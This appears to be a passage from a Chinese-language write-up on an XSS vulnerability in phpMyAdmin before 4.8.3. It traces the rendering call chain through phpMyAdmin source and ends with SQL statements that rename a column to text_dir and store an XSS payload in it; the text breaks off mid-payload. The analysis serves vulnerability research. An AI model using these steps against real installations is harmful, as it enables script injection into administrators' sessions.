010-Phpmyadmin < 4.8.3 XSS

继续搜索调用renderDbSelect函数地方，发现libraries\classes\Navigation\Navigation.php::62的getDisplay函数。

“`php
public function getDisplay()
{
/* Init */
$retval = ”;
$response = Response::getInstance();
if (! $response->isAjax()) {
$header = new NavigationHeader();
$retval = $header->getDisplay();
}
$tree = new NavigationTree();
if (! $response->isAjax()
|| ! empty($_REQUEST[‘full’])
|| ! empty($_REQUEST[‘reload’])
) {
if ($GLOBALS[‘cfg’][‘ShowDatabasesNavigationAsTree’]) {
// provide database tree in navigation
$navRender = $tree->renderState();
} else {
// provide legacy pre-4.0 navigation
$navRender = $tree->renderDbSelect();
“`

继续搜索实例化Naviagtion类并且调用了getDisplay函数的地方，发现libraries\classes\Header.php::440的getDisplay函数有调用。

“`php
public function getDisplay()
{
$retval = ”;
…(省略)
if ($this->_menuEnabled && $GLOBALS[‘server’] > 0) {
$nav = new Navigation();
$retval .= $nav->getDisplay();
}
“`

搜索实例化Header->GetDisplay的方法，发现\libraries\classes\Response.php::100的构造方法中实例化了Header类，而$this-_header又在_getDisplay中被调用。_getDisplay被_htmlResponse调用，_htmlResponse在response函数中被调用。

“`php
private function __construct()
{
if (! defined(‘TESTSUITE’)) {
$buffer = OutputBuffering::getInstance();
$buffer->start();
register_shutdown_function(array($this, ‘response’));
}
$this->_header = new Header();
$this->_HTML = ”;
$this->_JSON = array();

“`

\libraries\classes\Response.php::266行

“`php
private function _getDisplay()
{
// The header may contain nothing at all,
// if its content was already rendered
// and, in this case, the header will be
// in the content part of the request
$retval = $this->_header->getDisplay();
$retval .= $this->_HTML;
$retval .= $this->_footer->getDisplay();
return $retval;
}

“`

\libraries\classes\Response.php::279行

“`php
private function _htmlResponse()
{
echo $this->_getDisplay();
}

“`

\libraries\classes\Response.php::438行

“`php
public function response()
{
chdir($this->getCWD());
$buffer = OutputBuffering::getInstance();
if (empty($this->_HTML)) {
$this->_HTML = $buffer->getContents();
}
if ($this->isAjax()) {
$this->_ajaxResponse();
} else {
$this->_htmlResponse();
}
$buffer->flush();
exit;
}

“`

这里注意__construct中的register_shutdown_function函数，看php manual，意思是说当脚本运行结束或遇到exit后会执行该response函数，


**意思就是说只要哪里实例化了Response类，在程序运行结束后就会执行response函数**。真好，回到server_privileges.php::34行，发现有实例化Response。

“`php
$response = Response::getInstance();
$header = $response->getHeader();
$scripts = $header->getScripts();

“`

拥有以上调用链后，只需要控制$GLOBAS的键为text_dir,值为XSS payload即可，进入mysql库，执行以下sql语句修改列名xz为text_dir，并修改数据为XSS Payload。

“`php
ALTER TABLE `user` CHANGE `xz` `text_dir` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL;
UPDATE `user` SET `text_dir` = ‘\”>